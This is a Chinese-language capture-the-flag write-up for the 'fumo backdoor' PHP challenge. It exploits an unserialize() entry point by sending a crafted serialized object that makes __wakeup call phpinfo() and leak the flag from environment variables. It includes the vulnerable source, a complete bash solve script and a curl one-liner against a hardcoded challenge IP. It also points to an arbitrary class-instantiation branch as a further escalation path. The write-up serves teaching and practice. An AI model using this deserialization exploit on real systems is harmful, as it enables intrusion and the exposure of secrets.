fumo backdoor
Summary
一个 PHP 后门题目:根路径直接通过highlight_file(__FILE__)泄露完整源码,源码中?cmd=unserialze(注意拼写少了个 i)对用户输入直接unserialize()。利用fumo_backdoor类__wakeup()的"内部函数 → 无参call_user_func"分支调用phpinfo(),从环境变量中拿到 FLAG。
Solution
Step 1: 获取源码,定位反序列化入口
访问根路径即得高亮后的完整源码,还原后关键点:
ini_set('open_basedir',__DIR__.":/tmp");
classfumo_backdoor{
public$path=null;public$argv=null;public$func=null;public$class=null;
publicfunction__sleep() {
if(file_exists($this->path)&&preg_match_all('/[flag]/m',$this->path)===0) {
readfile($this->path);
}
}
publicfunction__wakeup() {
$func=$this->func;
if(is_string($func)&&in_array($func,FUNC_LIST["internal"]) ) {
call_user_func($func); // 内部函数 → 无参调用
}else{
new$class($argv); // 否则任意类实例化
}
}
}
$cmd=$_REQUEST['cmd'];$data=$_REQUEST['data'];
switch($cmd) {
case'unserialze':unserialize($data);break; // 拼写错误的反序列化入口
case'rm': system("rm -rf /tmp 2>/dev/null");break;
default: highlight_file(__FILE__);break;
}核心观察:__wakeup()中若$func是内部 PHP 函数(如phpinfo),则无参调用call_user_func($func),无需任何真实对象数据即可触发。
Step 2: 构造 payload,触发 phpinfo 泄露环境变量
全部属性为 public,直接构造序列化串,令func="phpinfo",其余属性为NULL:
O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:7:"phpinfo";s:5:"class";N;}一次性完成从攻击请求到打印 FLAG 的完整脚本:
#!/usr/bin/env bash
# solve-fumo-backdoor.sh
# 目标:http://49.232.142.230:14059
TARGET="http://49.232.142.230:14059"
# 1) 确认源码泄露入口
curl-s"${TARGET}/"|grep-q"fumo_backdoor"&&echo"[+] source leaked at /"
# 2) 发送反序列化 payload,触发 __wakeup -> call_user_func('phpinfo')
PAYLOAD='O:13:"fumo_backdoor":4:{s:4:"path";N;s:4:"argv";N;s:4:"func";s:7:"phpinfo";s:5:"class";N;}'
# 3) 从 phpinfo() 输出中提取环境变量 FLAG
FLAG=$(curl -s "${TARGET}/?cmd=unserialze&data=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")" \
| grep -oP '(?<=<td class="v">)SCTF\{[^<]+\}' | head -1)
# 4) 打印 FLAG
echo"[+] FLAG:$FLAG"
实际输出:
[+] source leaked at /
[+] FLAG: SCTF{Fum0_loves_Sess_@nd_R_G_B}
一句话手动复现:
curl-s"http://49.232.142.230:14059/?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A5%3A%22class%22%3BN%3B%7D"
# 在 phpinfo() 页面的 Environment 表中查找 FLAG
Flag
SCTF{Fum0_loves_Sess_@nd_R_G_B}备注
open_basedir=/var/www/html:/tmp、WEBROOT=/var/www/html,通过 phpinfo 一并确认;FLAG 以环境变量形式存放,未落盘,因此__sleep()的"不含 f/l/a/g 字符"过滤与文件读路径均非必需。该后门还有
new $class($argv)分支,理论上可任意实例化类(如 SplFileObject/SimpleXMLElement),可作进一步升级点;本题一步phpinfo即够。